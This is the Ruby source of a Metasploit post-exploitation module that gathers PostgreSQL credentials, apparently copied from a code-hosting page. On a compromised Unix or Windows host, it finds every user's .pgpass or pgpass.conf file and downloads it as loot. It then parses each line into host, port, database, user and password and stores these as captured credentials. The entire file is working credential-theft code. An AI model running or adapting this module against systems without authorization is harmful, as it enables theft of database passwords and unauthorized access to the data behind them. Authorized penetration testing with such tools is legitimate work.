130 lines
3.0 KiB
Ruby
130 lines
3.0 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/file'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/unix'
|
|
require 'msf/core/post/windows/user_profiles'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Common
|
|
include Msf::Post::Unix
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info={})
|
|
super( update_info(info,
|
|
'Name' => 'Multi Gather pgpass Credentials',
|
|
'Description' => %q{
|
|
This module will collect the contents of all users' .pgpass or pgpass.conf
|
|
file and parse them for credentials.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
|
|
'Platform' => %w[linux bsd unix osx win],
|
|
'SessionTypes' => %w[meterpreter shell]
|
|
))
|
|
end
|
|
|
|
def run
|
|
print_status("Finding pgpass creds")
|
|
|
|
files = []
|
|
case session.platform
|
|
when /unix|linux|bsd|osx/
|
|
files = enum_user_directories.map {|d| d + "/.pgpass"}.select { |f| file?(f) }
|
|
when /win/
|
|
if session.type != "meterpreter"
|
|
print_error("Only meterpreter sessions are supported on windows hosts")
|
|
return
|
|
end
|
|
|
|
grab_user_profiles.select do |user|
|
|
f = "#{user['AppData']}\\postgresql\\pgpass.conf"
|
|
if user['AppData'] && file?(f)
|
|
files << f
|
|
end
|
|
end
|
|
else
|
|
print_error("Unsupported platform #{session.platform}")
|
|
return
|
|
end
|
|
|
|
if files.nil? || files.empty?
|
|
print_error("No users found with a .pgpass or pgpass.conf file")
|
|
return
|
|
end
|
|
|
|
files.each do |f|
|
|
# Store the loot
|
|
print_good("Downloading #{f}")
|
|
pgpass_path = store_loot("postgres.pgpass", "text/plain", session, read_file(f), "#{f}", "pgpass #{f} file")
|
|
print_good "Postgres credentials file saved to #{pgpass_path}"
|
|
# Store the creds
|
|
parse_creds(f)
|
|
end
|
|
end
|
|
|
|
# Store the creds to
|
|
def parse_creds(f)
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
'Header' => 'Postgres Data',
|
|
'Indent' => 1,
|
|
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
|
|
)
|
|
|
|
read_file(f).each_line do |entry|
|
|
ip, port, db, user, pass = entry.chomp.split(/:/, 5)
|
|
|
|
# Fix for some weirdness that happens with backslashes
|
|
p = ""
|
|
bs = false
|
|
pass.split(//).each do |c|
|
|
if c == "\\"
|
|
if bs == false
|
|
bs = true
|
|
p << c
|
|
else
|
|
# second backslash ignore
|
|
bs = false
|
|
end
|
|
else
|
|
if c == ":" && bs == true
|
|
p = "#{p[0,p.length-1]}:"
|
|
else
|
|
p << c
|
|
end
|
|
end
|
|
end
|
|
|
|
pass = p
|
|
cred_table << [ip, port, db, user, pass]
|
|
|
|
cred_hash = {
|
|
:host => session.session_host,
|
|
:port => port,
|
|
:user => user,
|
|
:pass => pass,
|
|
:ptype => "password",
|
|
:sname => "postgres",
|
|
:source_type => "Cred",
|
|
:duplicate_ok => true,
|
|
:active => true
|
|
}
|
|
|
|
report_auth_info(cred_hash)
|
|
end
|
|
|
|
if not cred_table.rows.empty?
|
|
print_line
|
|
print_line(cred_table.to_s)
|
|
end
|
|
end
|
|
end
|